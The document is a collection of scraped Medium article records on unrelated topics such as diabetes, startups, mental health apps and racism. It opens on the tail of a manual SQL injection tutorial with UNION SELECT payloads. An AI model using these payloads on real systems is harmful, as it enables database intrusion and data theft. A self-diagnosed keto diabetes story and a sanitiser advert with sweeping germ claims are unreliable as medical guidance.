$COLUMN_NAME2,4,5,6,7,8 from $TABLE_NAME$# Backend Query: SELECT First_name, Last_name FROM users WHERE user_id = ‘1’ UNION SELECT 1, $COLUMN_NAME1, $COLUMN_NAME2,4,5,6,7,6,7,8 from $TABLE_NAME$#; STEP7: Now, This is an Optional Step, but you can use concat function. It is used for concatenation of two or more strings into a single string. Concatination of Columns Data (Optional): 1' UNION SELECT 1, concat($COLUMN_NAME1$,’$SEPARATORS$’, $COLUMN_NAME2$),4,5,6,7,8 from $TABLE_NAME$#; Backend Query: SELECT First_name, Last_name FROM users WHERE user_id = ‘1’ UNION SELECT 1, concat($COLUMN_NAME1$,’$SEPARATORS$’,$COLUMN_NAME2$,4,5,6,7,6,7,8 from $TABLE_NAME$#; LAST WORD: In today’s post, we learned How to perform Manual sql injection? This is the end of the article. We will meet soon with a new interesting article. I hope you like this. So, stay tuned with us as always. if you have any special query, you can send an email or you can join us on social media to ask the problems.

https://medium.com/@ravisingh52567/how-to-perform-manual-sql-injection-exploitation-e0986e6f6d23

['Aditya Pratap Singh']

2020-12-22 16:29:12.077000+00:00

['Sql Injection', 'Sqlite', 'Sql']

How I didn’t get diabetes

How I didn’t get diabetes An easy to follow approach that most of you will ignore I am supposed to be diabetic. I have had insulin resistance for years now, which is almost guaranteed to lead to diabetes. If you are an adult living in the U.S., chances are one in three that you have insulin resistance, too. But you probably don’t know. And you probably won’t know until it’s too late. By then, you will be diagnosed with diabetes, and you will be prescribed drugs (most likely insulin injections before or after meals, and something like metformin) to fight the symptoms of diabetes, but without addressing the causes. You will live an increasingly limited life, and you will never get off the prescription drugs. You will gain additional weight, year after year, that you will carry around for the rest of your days. In time, you may lose mobility, your chances of developing cardiovascular disease skyrocket, you’re more likely to suffer damage to your nerves, kidneys, and eyesight. You may lose a limb, develop Alzheimer’s disease, and eventually, you’re at greatly increased risk to die young. (Source: Center for Disease Control and Prevention) I have insulin resistance, and as a subject of our current medical landscape, I was destined to become diabetic. But I didn’t. Not because of luck, not because of some miracle drug, but because I drastically changed the way I eat and live. Photo by Adrian Swancar on Unsplash Next stop on the insulin resistance train: prediabetes Insulin resistance could be seen as the very first stage of diabetes. It is a collection of the very first minor symptoms of prediabetes — a condition in which your blood glucose levels are elevated, but not badly enough to call it diabetes — yet. It is a misconception that prediabetes is the same thing as insulin resistance. They’re the same problem, but at a different moment in time. People with prediabetes (over one-third of the U.S. population) have a 70% chance of developing type-2 diabetes in the future. In other words: we are on track to welcome over 70 million diabetics in the U.S. over the next few decades (70% of 33% of 328 million). Insulin resistance is a train with two stops: prediabetes and diabetes. Once you’re on the train, it’s difficult to get off, as shown by the statistics. The problem with insulin resistance is that it’s much harder to diagnose than diabetes is, and there are no prescription drugs to treat it specifically. Coincidentally, the absence of a drug inherently means that there is no money to be made from insulin resistance, so people aren’t lining up to find better ways to diagnose it. The difference in diagnosis (between I.R. and diabetes) is that the main symptom of diabetes is out-of-control blood sugar. The main symptom of insulin resistance is that some of the cells in your body (such as muscle cells, your liver, and fat tissue) have become less sensitive — resistant — to insulin. This causes them to become less efficient at removing excess sugar from the bloodstream. Keeping this balance in check is crucial because too much sugar in your blood (hyperglycemia) can induce a coma and even kill you. As a result, your body keeps producing more insulin to keep your blood sugar in check, further bolstering your cells’ resistance to it, worsening the problem, and eventually causing you to develop diabetes. There are no great ways to detect insulin resistance. Doctors may do a fasting plasma glucose test, in which they measure your blood sugar after you haven’t eaten for 8 hours. Mild insulin resistance, however, does not significantly alter your fasted blood glucose. Another method would be to drink a sugary solution, two hours after which the doctor takes your blood. Same problem: mild insulin resistance will (hardly) show up. Lastly, a hemoglobin A1c-test could be issued. This test reveals how well glucose (sugar) in your blood binds to your red blood cells. It’s a very accurate and effective method of diagnosing diabetes because it shows how high your blood sugar has been over the past two or three months. However, insulin resistance isn’t diabetes — yet. So, yes, if you have diabetes, you’re very likely to be insulin resistant, and the test will confirm this. However, if you don’t have diabetes, but you are insulin resistant, the test will come out negative and falsely assure that you are healthy. The biggest problem, however, is that symptoms of insulin resistance are broadly accepted as “part of life.” We, as a culture, are overweight, tired, and depressed. We’re sluggish. We crave food throughout the day — and night. We are sailing from one high to the next, waiting for our next fix of sugar and starch, and if we don’t get it in time, we become agitated. Those are the symptoms. They are real, and they are everywhere. But we, our parents and friends, and even many of our doctors turn a blind eye to them. Body positivity, among other things, drives diabetes. I support everyone’s right to be happy with the way they look, but I’m not a fan of those same people being devastated because they cannot play with their kids. Slow, self-induced food poisoning is not what “freedom” is supposed to entail. What my doctor did (and didn’t do) for me I didn’t know any of the above before I started my journey. All I knew is that I suffered from increasingly crippling after-dinner dips — or postprandial somnolence, to be fancy. Technically, mine weren’t after dinner. Every day, shortly after having lunch, I would crash, feeling overwhelmingly tired, agitated, foggy, and even desperate. This would last anywhere between 30 and 120 minutes. It would get so bad that I’d feel panicky, and at times I’d tear up because I didn’t understand what was going on — but I knew it was something that I couldn’t fight, let alone ignore. Yes, I was so incapacitated by tiredness that I’d cry. At first, I thought it had to do with caffeine (or coming down from it), so I cut down on coffee, hoping that it would make a difference. It didn’t. As the symptoms crept up to me, it took me a couple of months to finally see my doctor. I underwent a general medical exam, and the doctor issued a blood test. I was also tested for about 50 food intolerances. All results, including blood sugar, came back fine. Meanwhile, my symptoms didn’t decline. If anything, they got worse. As a result, I was forwarded to a psychologist to see if any underlying mental issues held a connection to my energy crashes. I had several sessions with a therapist, took a multi-day I.Q. test (up to this day, I still don’t know why), and was tested for ADD and a variety of other disorders. Again, all tests came back fine. There I was: a 26-year old guy, declared completely healthy and sound, feeling absolutely devastated daily. In addition to feeling devastated, I also couldn’t help but feel left behind by the medical system. The process so far took well over a year, and thanks to my insurance, it only cost me € 385. If it weren’t for the insurance, the medical bills would’ve easily surpassed € 6.000,- without getting me much further. Photo by Joel Filipe on Unsplash How I helped myself, step 1 It was time to take matters into my own hands. The first (and only) clue I had was food. I knew eating induced the crashes. So I started experimenting with my breakfast, having none, more, or less, finding that a bigger breakfast would make the crashes occur earlier in the day — right after breakfast, to be precise. Also, breakfasts higher in carbohydrates had a much bigger impact than low- (or no-)carb breakfasts. The same held for lunch, so I stopped eating bread, and forewent high-carb breakfasts like cereal or oatmeal. My approach worked amazingly well. I finally regained some control over my energy levels. Still, the underlying problem persisted: eating a very big meal, even low in carbs, or eating foods such as pasta, bread, rice, or potatoes, would still cause the same extreme crashes in energy. Thus, I dug deeper. The last piece of the puzzle was somewhere to be found in research and textbook information. While I was learning about basic metabolism (thanks, Khan academy!), it all started to make sense. I got familiar with the basic mechanisms responsible for storing and withdrawing energy, the role of insulin in this process, and what could go wrong. How I helped myself, step 2 I didn’t invent anything. None of the things I did to prevent becoming diabetic are new or groundbreaking in any way. Nearly every country has some sort of Diabetes Association with crystal clear guidelines on how to prevent diabetes. To summarise, here they are: Lose weight; Stop smoking; Eat healthily. But those things are hard. Moreover, many people are too late to embrace these changes. They start when they already have diabetes. While it’s better than doing nothing, it’s not great. Had they started this change five or ten years earlier, many would not have become diabetic. I adopted a ketogenic diet and introduced intermittent fasting to my day-to-day. Both of these things helped my insulin-resistant cells regain some of their sensitivity — because I gave them a break from the otherwise non-stop supply of sugar to the bloodstream. It also changed my relationship with food for the better. I regained control over food instead of food controlling me. Last, but not least, I started lifting weights. I learned that muscle cells are crucial in your body’s efforts to transport glucose out of the blood, into storage. Muscles are a great place to store sugar, in the form of glycogen. Bigger muscles mean more capacity. To summarize, here’s how I didn’t get diabetes: I greatly cut down on carbohydrates, adopting a ketogenic diet; I lost weight due to this diet, and; I increased my muscle mass by lifting weights, creating more cells to store sugar in. Endnote: I was never diagnosed, but does it matter? You may have noticed that I never mentioned being officially diagnosed with insulin resistance. I wasn’t. But, as I explained, people mostly get diagnosed with (pre)diabetes, not with insulin resistance, because I.R.’s symptoms are accepted to be “normal.” Nevertheless, I am confident to say that I have insulin resistance. It all adds up and living my life in a way that (theoretically) prevents insulin resistance from worsening has proven to work wonders for me. My symptoms have almost fully disappeared, and I even started to regain some insulin sensitivity. I can tell, because I can now enjoy a meal rich in carbohydrates now and then, without feeling terrible. However, sometimes I overdo it, and the crash is just as real as it used to be. To me, this is fine. If anything, it’s a reminder of where I came from, it’s a reality check, and it tells me what my body can handle and what it can’t.

https://medium.com/edible-future/how-i-didnt-get-diabetes-f9ebd064ab3d

['Reinoud Schuijers']

2020-06-04 09:34:08.397000+00:00

['Technology', 'Food', 'Health', 'Science', 'Healthcare']

Smart ways to lead design teams in a radically changing world

Though the concept of leading through change is not new, no one can argue that 2020 has brought about tremendous challenges for design leaders that require drastic transformation. From economic uncertainty to a global pandemic to concerted efforts for social justice, major forces have disrupted every aspect of our lives. For most companies, design is at the center of this disruption as leaders search for effective ways to stand out in an increasingly crowded communication stream. Meanwhile remote workers continue to struggle with the intersection of work life and home life, and simply keeping staff connected is difficult enough. In this chaotic climate, shifting to new processes and business strategies — across dispersed and distracted employees — can seem like an unsurmountable goal. Our InsideOut Design Leader Community met in June to share insights, real-world issues and best practices on leading through radical change. Below are actionable learnings gathered from 6 roundtables with senior leaders from high profile brands to help you lead through recent events and beyond. Start With Why Made famous by Simon Sinek’s book and TED talk, the idea of engaging teams by tapping into the reason why a pivot is necessary is fundamental to lasting transformation. Leaders in several of our roundtables pointed to getting buy-in as a first step to connecting staff to a vision they can get behind.

https://medium.com/aquent-off-hours/smart-ways-to-lead-design-teams-in-a-radically-changing-world-c447de60bcb9

['Susie Hall']

2020-07-17 15:47:44.604000+00:00

['Design Leadership', 'Leadership', 'Change Management', 'Aquentinsideout', 'Design']

Texas-Squared Startup Newsletter #276

Texas Startup News, Opinion & Events in the Lone StartUP State View this email in your browserSUBSCRIBE to Texas-Squared Share Tweet Share Email to a FriendSign up for reminders about Austin Startup meetups www.bitly.com/txstartupevents Sign up for the Texas-Boxed CPG Newsletter www.bitly.com/txboxed Austin Quick Start Guide www.bitly.com/atxquickstart Download the Texas-Squared Startup Resource Guide PDF Gregslist of Software Companies — Austin | Dallas Fort Worth HTX Tech List — https://houstonexponential.org/htxtechlist/ UH Tech Map https://techmap.uh.edu/ Mercury Fund Continues to Expand Investment Team — Link “Mercury Fund, an early-stage venture capital firm investing in Middle American entrepreneurs, today announced the promotion of Heath Butler to Managing Director, and the addition of Samantha Lewis as Principal.” Wake Up! CPG Meetup Wake Up! CPG Meetup Wednesday, December 23rd, 2020 9:30 AM — 10:30 PM CST REGISTER https://egannelson.zoom.us/j/98530263764

https://medium.com/@marc1919/texas-squared-startup-newsletter-276-5428d3a53fd8

['Marc Nathan']

2020-12-20 14:01:21.664000+00:00

['Texas', 'News', 'Startups']

Mental Health apps: Our review

Mental Health apps: Our review Mental health is a topic that we take very seriously at Pure Planet — we care about each others’ well-being. After all, people are a third of our triple bottom line. So when we had the chance to sign up for the UN Global Compact to work towards the 17 UN Sustainable Development Goals (SDGs) — it was a no brainer. Much like switching to clean, green renewables with Pure Planet — get a quote here. We aim to work towards one goal per month. This month — we are focusing on goal three: Good Health and Well-being. We’ve already conducted meditation sessions right here in our office, and have started weekly yoga sessions too. Find out why the SDGs are such a big deal to us here. As Britain’s first app-based energy supplier, we have a soft spot for any organisation that operates solely through the medium of the beloved smartphone. So, we want to share our thoughts on some of the great mental health apps out there. Take a look at what our team thinks of our three favourite well-being apps — Headspace, Breethe and Calm. Headspace Maddie, Digital Service Adviser Maddie “I use Headspace quite a lot. I find it really good, and I always feel in a much better frame of mind after I’ve done a guided meditation. “I love the way the app is laid out as well. If you get the annual subscription you can access loads of different courses on topics like managing anxiety, sleep or self esteem. “There are SOS courses too. These are around three minutes long and are for lots of different (and more extreme) ‘in the moment’ feelings which seems good although I have never used those. “It basically just has a lot of variety (if you pay — that’s the only downside — you get limited access for free) and I love it!” Connor, Data Scientist Connor “I’ve been a Headspace subscriber for about a year or so now, and have found it to be a great way of incorporating mindfulness techniques into my everyday life. “There’s loads of topics to choose from, from basic meditation and breathing techniques, through to very specialised use cases such as preparing for interviews or working with technology in a more mindful way. “For me, the sessions I find most useful are those for helping to get to sleep. I listen to these most nights, and find the guiding voice brilliant at helping my brain to “switch off” from even the most stressful of days. “There’s even a session dedicated to falling back to sleep, recognising that there are better techniques to help us fall back to sleep after waking, versus when we’re trying to settle down before going to bed. If you’ve never tried mindfulness before, Headspace is a great app to introduce you. “You don’t have to dive in with a paid subscription, and can follow their 10-day “Basics” course for free. Give it a go!” Breethe Hannah, Digital Service Adviser Hannah “I downloaded the Breethe app last year after hearing great feedback about it. For the free version, it offers you sessions on guided meditation, inspirational talks, two-minute stress reliever and breathing exercises. “I work a busy lifestyle where I’m out and about with clients photographing and then editing a lot at a laptop screen — so it helps you switch off from the world and allow your brain to do a battery reset. I like how this is handy to have on the go too. “My favourite component is the meditation, as it allows me to reset mentally and physically. As I suffer from back and neck pain, the sessions teach me how to relax muscles that may be tense or strained. “A really fab app that I’d highly recommend if you are looking to learn more about self-care and tuning into your energy.” Calm Carol, Business Analyst Carol “Calm is great when you need to take a break on the go. “Whether it be checking emails, responding to texts or even placing an online shopping order, I have found a nice feature in the Calm app. It allows you to select a soundtrack which it plays in the background on your phone while you’re doing other things. “The soundtracks include nature sounds and instrumentals and are available without a subscription. I find it helps me to tune out distractions so I get through mundane tasks much more quickly. “I’d recommend both these apps if you want to be able to fit guided meditations and relaxation into your daily life.”

https://medium.com/pureplanet/mental-health-apps-our-review-90156fc9d7de

['Pure Planet Blog']

2019-03-29 18:00:40.077000+00:00

['Wellbeing', 'UN', 'Sdgs', 'Mindfulness', 'Apps']

YOLO演進 — 4 — Scaled-YOLOv4

Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

https://medium.com/ching-i/yolo%E6%BC%94%E9%80%B2-4-scaled-yolov4-c8c361b4f33f

[]

2020-12-08 03:29:23.973000+00:00

['Yolov4', 'Scaled Yolov4', 'Yolo', 'Object Detection', 'Deep Learning']

Brief Intro to Data Structures

Brief Intro to Data Structures In computer science, a data structure is a collection of data values, the relationship between those values and the functions or operations that can be applied to the data. To fully understand the concept above, we need to understand the concept of data types. A data type refers to a defined kind of data, i.e. a set of possible values & basic operations on those values. It tells the system compiler or interpreter how the programmer intends to use the data. Data types consist of two major thing a domain ( a set of values ) a set of operations that may be applied to the values Almost all programming languages explicitly include the notion of data types, though different languages may use different terminologies. Common data types include Integer Floating-point number Character String Boolean Abstract Data Types ( ADTs ) Any data that does not specify an implementation is an abstract data type. For example, a stack ( which is an abstract data type ) can be implemented as an array ( a contiguous block of memory containing multiple values ), or as a linked list ( a set of non-contiguous memory blocks linked by pointers ) ADTs can be handled by code that does not know or “care” what underlying types are contained in them. Examples include A queue ( a first-in-first-out list) A set ( can store certain values, without any particular order, and with no repeated values ) A stack ( a last-in-first-out data structure ) A tree ( a hierarchical structure ) A graph A list A hash, dictionary, map or association array; a mere flexible variation on a record, in which name-value pairs can be added & detected freely A smart pointer ( The abstract counterpart to a pointer ) So, data structures can also be referred to as the implementation of an abstract data type in a particular programming language. Data structures can also be referred to as “data aggregates”. ADTs can be broadly classified into 2 Linear Data Structures Non-Linear Data Structures Linear Data Structures are stored and accessed linearly in the computer memory e.g lists, stacks, queues and arrays. Non-Linear Data Structures are not stored linearly in the computer memory but data items can be processed using some techniques or rules.

https://medium.com/anyiamebube/brief-intro-to-data-structures-42f412762463

['Ebube Anyiam']

2020-06-11 10:54:37.507000+00:00

['Computer Science', 'Programming', 'Data', 'Data Science']

Think Racism Is Bad in White Countries: Read More About Black People in Arabic Countries

Raising awareness against racism should not be a one time practice. Awareness should never stop until real positive change happens. While some people can be racist without realizing that they are doing that, most people are fully aware of how racist they are. For a black person born or living in the Arab world, this is how it feels. There’s a local code for black people in the street The most common names that will be shouted at you are “babaya” and “babangida.” You might even think that everyone in the street is complimenting you until you ask around the meaning of such words. The moment you realize it means a black person is when you realize the kind of racist country you are thriving in. There are even rumors that the first word, “babaya,” is local slang for baboon and not a black person. Imagine in this 21st century being labeled a baboon simply because you are black. Despite that, having codes that distinguish other human beings from your race because they are black is racist! However, there are some things you can never believe until they happen to you first hand. Being black in the Arabic country where I stayed means you have to adapt to being called the names allocated to you as a black person. At first, you can get angry at this racist and rude behavior of people shouting at you various Arabic black names in the street. But, in the end, this will become a normal part of your daily life. If you are a black lady, be ready to have your bums randomly taped in the street Yes, you got me right. The practice of taping black women’s private body parts seems to be a norm in the Arabic country that I stayed in. The most disturbing part about this practice is that you risk being taped by men of various ages. From young boys to older men almost in their seventies, anyone can tap your assets without your permission. You can’t enter a big supermarket wearing your backpack or handbag as a black person Whether you are a man or a lady, there’s no exception when it comes to this practice. Imagine having to leave your backpack, purse, or handbag by the door as you enter. I have had moments where a store worker followed me everywhere in the store. Their behavior was justified by refusing to leave my bag by the door when everyone else could do otherwise. When you ask why, the reply is, “It’s store policy.” Well, it’s a store policy that applies only to black people. It’s not safe for a black woman to travel alone by bus As a black woman in the Arabic country that I stayed in, it’s not safe to move around alone, especially to board a bus. Moving alone means you are putting yourself at risk of having your body parts caressed by perverted men. The worst part of this behavior is that no one says anything about it. Everyone on the bus will be watching everything that’ll be happening and still keep their mouth shut. The moment you try to retaliate and stand up for yourself, that’s when everyone chips in. Well, not exactly in the way you are imagining. It’ll be more of don’t harass the person who was touching you, just leave the case to rest.

https://aninjusticemag.com/think-racism-is-bad-in-white-countries-read-more-about-black-people-in-arabic-countries-c362e9a286fb

['Lioness Rue']

2020-12-08 21:48:26.231000+00:00

['Racism', 'Racial Justice', 'Equality', 'World', 'Society']

Achieving Product-Market Fit as a B2B SaaS Startup — an Investor’s View

Achieving Product-Market Fit as a B2B SaaS Startup — an Investor’s View Photo by Austin Distel on Unsplash Successful startups require more than just good ideas. In fact, many startup ideas do not survive their first contact with market reality, i.e., actual customers. How to increase the chances of surviving this reality check? Iterative product development based on validated customer needs. The goal of this process: Having the right product for the right market, or: Achieving product-market fit (PMF). Product-market fit is a crucial success predictor of startups. Once it is achieved, founders can focus their efforts on scaling their startup and raising the required funding. Venture capital investors put equally great importance on the degree of product-market fit. To them, sales predictability is key. And a startup with high product-market fit is much more likely to predict their future sales correctly. What can startups do to accelerate the process towards achieving product-market fit? Here are four key learnings: 1. Find the right balance between tailored solutions and standardized features Achieving product-market fit is about balancing individualized and standardized features. Your most valuable features are those that are replicable with other customers. Use them as your guidance. Focusing on standardized features also means: Do not listen to every customer and their individual requirements. Know who you are and who you are not. If potential new customers require new and tailor-made features which you cannot reuse, reject them — even if this means leaving sales revenues on the table. A certain degree of individualization is fine if the effort is low and/or the feature is replicable. The balance to be found here also means not to draw this line as strictly in the early days as you will later. Getting first lighthouse customers in is crucial to start understanding what the market really needs. In that regard, tailormade features will lose relevance the more customers you have and the closer you are to product-market fit. How to identify the most valuable features? Listen carefully to your potential customers and identify key pain points. Establish good customer relationships. Especially in the early stages, sales should be handled by the founders themselves to stay close to the market. It is a non-trivial question of timing when to start involving dedicated salespersons and delegate responsibilities, which in turn is crucial to build sustainable company structures. In brief: Product-market fit is not about having 10 paying customers with 10 individual products, but about having 10 paying customers with an essentially equal product. 2. Be agile and open for adaptation Finding a plausible reason why sales is not working is not easy. Often, there are two potential paths forward: Either increase sales efforts or pivot the product. Reasons for poor sales could be: First, people are not aware of the problem they might have and there is a gap of education. Second, your potential customer may think that the solution cannot deliver on what it promises. Third, you are talking to the wrong people who are not dealing with the problem you are solving. When is it time to pivot? Initially, lower the barriers to using your product as much as possible to make customers engage with your product. Focus your sales efforts on those customers who are most severely experiencing the problem you are solving. If they are using your product and increase their usage, you are well on track. If usage remains low, you need to adapt features and try out new things. In brief: Find the right user for your product and observe their behavior. Remain agile and pivot if necessary. 3. Lower the barrier of entry for customers where necessary There might be cases where you cannot get sales ramped up as you want to. The cause can be multifold — you may be too early in the market, you may be talking to the wrong people or you may be selling something the market will not need. To validate the general need for a product like yours, you may use “Proof of Concept” (POC) projects as a test — POCs should never be a long-term strategy but are helpful to efficiently test the waters over a limited period. If necessary, you may even offer free pilots to get customers to use your solution. If you add value and become a must-have, they will upgrade to a paid version. If you are dependent on sales revenues or costs must be covered, offer a POC at marginal costs. If your solution adds value, customers will pay for it. If they are not willing to allocate the budget to compensate your costs, they will most likely not find it for the full solution either. Usage is very important initially, but you always need to have a clear idea on how to get your customer beyond the paywall. Another option to speed up sales is to quantify the benefits of your product through a simple cost-benefit-analysis — show this analysis to your potential customers. Use data from customers you are already working with and demonstrate their improvements in a whitepaper or case study. If you have no data yet, use statistics from similar solutions and collect your own data as soon as possible. You may even offer aggressive performance-based pricing to become a “no-brainer” solution from your customer’s point of view. In brief: Get your customers onboard and show them the value-add of your product. Upselling is easy once you can prove this value-add. 4. Show a Return on Investment (ROI) for your customers Most importantly, speak to your potential customers. No matter if you already have tons of customers, just a few or no customers at all, always stay close to your customer and listen to their problems. The key challenge in the early days is to find the right target persona — the right individuals within an organization who know and feel the pain of the problem that you are addressing. Once you have identified these individuals, just sit down with them, and listen. They will guide you the way towards becoming a must-have in their everyday life. In the beginning, this will require getting an overview of all stakeholders to understand different roles and incentives. Later, these conversations may turn into regular update calls led by your customer success team. At some point, a lot of companies have had good experience with offering internal events dedicated to their target personas. That way, you make sure that you a) identify what you need for product-market fit, b) get it and c) keep it. In brief: Find the target personas in the company, understand their problems in detail and focus on their needs when building your product.

https://medium.com/swlh/achieving-product-market-fit-as-a-b2b-saas-startup-an-investors-view-753dc40458af

[]

2021-03-12 09:36:15.886000+00:00

['Startup', 'Funding', 'VC', 'Product Market Fit', 'Investors']

New Edition baby sanitiser microbe defence everything spray.

New Edition baby sanitiser microbe defence everything spray. Everything spray will continue to kill germs for up to 30 days!!! from one application so you will have peace of mind your family is safe. Protects surfaces and kills 99% of germs. Everything spray will form an antimicrobial coating that bonds to surfaces and delivers long-lasting protection against germs. You can use everything spray on, well, everything! From your floors, bathrooms and kitchens to your baby’s highchair, changing table and car seat. Everything spray will continue to kill germs for up to 30 days from one application so you will have peace of mind your family is safe. FEATURES Non-toxic Alcohol-free Kills bacteria and mould for up to 30 days. Easy 250ml spray bottle INSTRUCTIONS Firstly, clean and dry your surface of choice. Spray the surface or, spray onto a microfibre cloth and apply evenly to the entire area. Allow to fully dry (this may take up to 10 minutes) as Everything Spray only becomes active when completely dry. Re-apply weekly or monthly when required @parnellbabyboutique.co.nz

https://medium.com/@parnellbabyboutique/parnellbabyboutique-co-nz-b93e0244db0a

[]

2020-07-21 11:45:36.195000+00:00

['Corona', 'Sanitizers', 'Baby Products', 'Baby', 'Coronavirus']

When You Decide To Get ‘Real’. ― Anne Lamott,

I wake up in the wee hours and something is burning inside of me, an idea or a memory or a thought. By the time my morning pour over brew is ready, new thoughts have already occupied my mind. It’s tricky, right? To hold on to those brilliant sparks we have, or to rewrite that memory by the time the caffeine has set in, now you are fully awake. One idea that surfaces for me is that we all win from sharing and hearing each other’s stories. Since I first discovered how critical this piece is to our happiness, I’ve also noticed the idea is showing up everywhere. So many great authors and inspirers now encourage all of us to open up and share our gifts, our story, our experiences. Why is this so freaking important, why am I standing here saying this, why do I need to devote a third of my book to this topic? Here’s the thing, friends. Our stories are a part of who we are, and these experiences shape our perception. How we view every situation, relationshop, job is through this lens shaped by our own personal tales. This is one reason. Another value in this, people hold onto their stories. They keep them bottled up and they live inside like acid wanting to burn their way out. Sometimes they believe their tales are useless, that nobody wants to hear them. Other times they may be embarrassed, afraid, uncertain and keep their truth inside these secret stories. Once you begin to share, you notice people begin to relate, to light up. This starts that fire again. How many times have you heard someone begin to tell their tale, and you’re already thinking, “yessss, me too”. A sense of comfort sets in, a sense of fitting in and belonging. Belonging, there’s that word Brene Brown chose so wisely in ‘Braving the Wilderness.” And finally, my favorite reason for us to open up and tell our tales: vulnerability. You start to take chances, knowing you can unleash your true voice and self, get real with the world. When you get uncomfortable, you get real. This is freedom in the truest sense of the word. “You own everything that happened to you. Tell your stories. If people wanted you to write warmly about them, they should have behaved better.” ― Anne Lamott,

https://medium.com/@susanjcoaching/you-own-everything-that-happened-to-you-a14894a8c92

['Susan J Hilger']

2020-09-20 17:29:49.569000+00:00

['Writer', 'Freedom', 'Authenticity', 'Storytelling', 'Coaching']

How To Win New Clients With the Magic Wand Question

What Is the Magic Wand Question? It is a question that gets your prospect to go beyond what they think they should want or what is possible and tap into what they truly yearn for. The question is: “If we had a realistic magic wand, what would you like to see in your life/business in the next six months to a year?” The magic wand question is quite simple on the surface but it is designed specifically to tap into a client’s achievable dreams. That’s why we say “If we had a realistic magic wand” so they think of what is possible in the real world, not money falling from the sky. And we ask them to look ahead six months to a year so that they get beyond the nitty-gritty day-to-day details which are quite limiting and feel free to aim for something higher. In fact, part of the power of this question is they will describe a goal that’s big enough that they don’t know how to achieve it. That’s what they need you for. As you listen to their answers and validate their dreams, the client bonds with you. They get the sense that you will support those dreams as well. They are getting to know you as someone who helps them tap into the best of themselves. They see you differently than those with whom they only have ordinary conversations each day. They might start seeing you as someone they need in their corner.

https://bettermarketing.pub/how-to-win-new-clients-with-the-magic-wand-question-e26b521655b7

['Rodney Daut']

2021-02-16 16:02:25.214000+00:00

['Business', 'Sales', 'Marketing', 'Entrepreneurship', 'Conversations']

Why the last few weeks of 2020 are feeling a lot like the last weeks of marathon training: 6 lessons you can apply right now.

Why the last few weeks of 2020 are feeling a lot like the last weeks of marathon training: 6 lessons you can apply right now. Fiona Powley Dec 11, 2020·4 min read Anyone else kinda done with 2020? Covid, and this year are taking on a familiar feeling I’ve felt before. It’s starting to feel a lot like the last month of marathon training. Those last few weeks when the mileage is high, the motivation wavering, everything feels heavy and hard. You just want it to be over. Those last few weeks of ‘taper’ — when the miles drop off significantly — are so close, and yet so far. I just remember feeling permanently exhausted, emotional, wondering if I could keep this up to the end, just wanting to opt out and hit the carbs. I think of Covid, lockdowns, tiers, Christmas and that vaccine just over the horizon and feel the same feeling. So it got me thinking… I learned a lot from my one and only marathon in 2019. What did I learn there that can help all of us in these last weeks of 2020 and first few months of winter to come? Here are my top 6 lessons as they relate to 2020: 1. Support tribe Connecting has never been more important. When I trained for the marathon my support tribe included different people for different needs. There were those that literally ran with me, those that took me away from all that with cake and wine and those who I knew I could call in tears and be truly vulnerable with. Make sure you have different support for your needs. Gather your tribe and make sure they know how much you value their support. Consider who you can extend support to and be one part of their tribe. 2. Count progress only (drop the expectations) We humans are very good at generating endless lists in our heads of what we ‘need’ to do or ‘should’ be doing. Remember those early days of lockdown 1 when you were ‘wasting’ lockdown unless you were bread making, learned to play an instrument and taking up daily yoga? There is so much to measure up to when the expectations are high. In early marathon training I resisted the urge to set training expectations, and instead simply counted every single run as a positive step forward on my journey. Your brain gets a much warmer kick from counting what you have done, and not what you haven’t. Ironically ignoring what we ‘should’ do gives us more energy and motivation to keep going. So drop your expectations and simply focus on what you have achieved. Bank everything no matter how big or small. Express gratitude for what you have managed to do amongst all this. 3. Be ready for the days the wheels fall off Some of us (I am one) like to think we have it all under control. Because that feels empowering, right? Because we see ourselves as capable, together people who can ride this out and turn every challenge into an opportunity. Well most of the time. I will never forget the Sunday morning when I just decided I’d had enough. I was meant to be running 20 miles with friends. I’d been looking forward to a long run with company. But when the day dawned I just felt utterly depleted: physically and emotionally. After trying to get out the house I admitted failure. OMG, the ‘failure’ word. In actual fact I hadn’t failed. Missing one long run wasn’t going to sabotage my marathon. My body and mind were screaming for a rest. It was an act of self love to allow myself to stop, cry and then just be… with the support of my key tribe members. 4. Self care and self compassion Self care means different things to different people. To some it’s a hot bath. To some its chocolate. Or a bit of pampering. Or a hug! You know when its true self care when you start to feel your mood lift, your energy rise and that inner warm glow. If you don’t: you may be engaging in what you think ‘should’ be self care rather than what’s right for you right now. That takes self compassion. Self compassion means to LISTEN to yourself, ACCEPT yourself wherever you are right now and then GIVE yourself what you really need. It could mean going for a walk instead of hitting the biscuits. Or reading rather than sticking on Netflix. The key here is to choose what will NURTURE you (and not what will NUMB you). Listen, accept, give, for YOU. 5. Hang on outside of your comfort zone but don’t push beyond your values We all know that growth happens outside of our comfort zone. At the moment, just getting through the week involves surviving outside of our comfort zone. It’s good to recognize this when you are carrying a far heavier load and juggling way more than your normal capacity. We can feel the feeling of CHAOS. And can end up making decisions and taking action which is outside of our VALUES. Values are that which we hold to be important. So take stock of where your moral compass is, and don’t let the CHAOS push you out into territory which isn’t right for you. 6. Keep faith And finally keep the faith. In a vaccine? In and end to all this? More important than that. Keep the faith in yourself. You do have the strength, awareness and compassion to navigate these last weeks and months. It’s been a long slog. But calmer waters are ahead and we will all, at some point in the future get to re-experience that.

https://medium.com/@fionapowley/why-the-last-few-weeks-of-2020-are-feeling-a-lot-like-the-last-weeks-of-marathon-training-6-8b841256331

['Fiona Powley']

2020-12-11 14:51:09.568000+00:00

['Mindset Shift', 'End Of Year', 'Lessons Learned']

<Full/Eps>~ The Bachelorette (Se.16'’Ep.11) ~ Series 16 (720p)

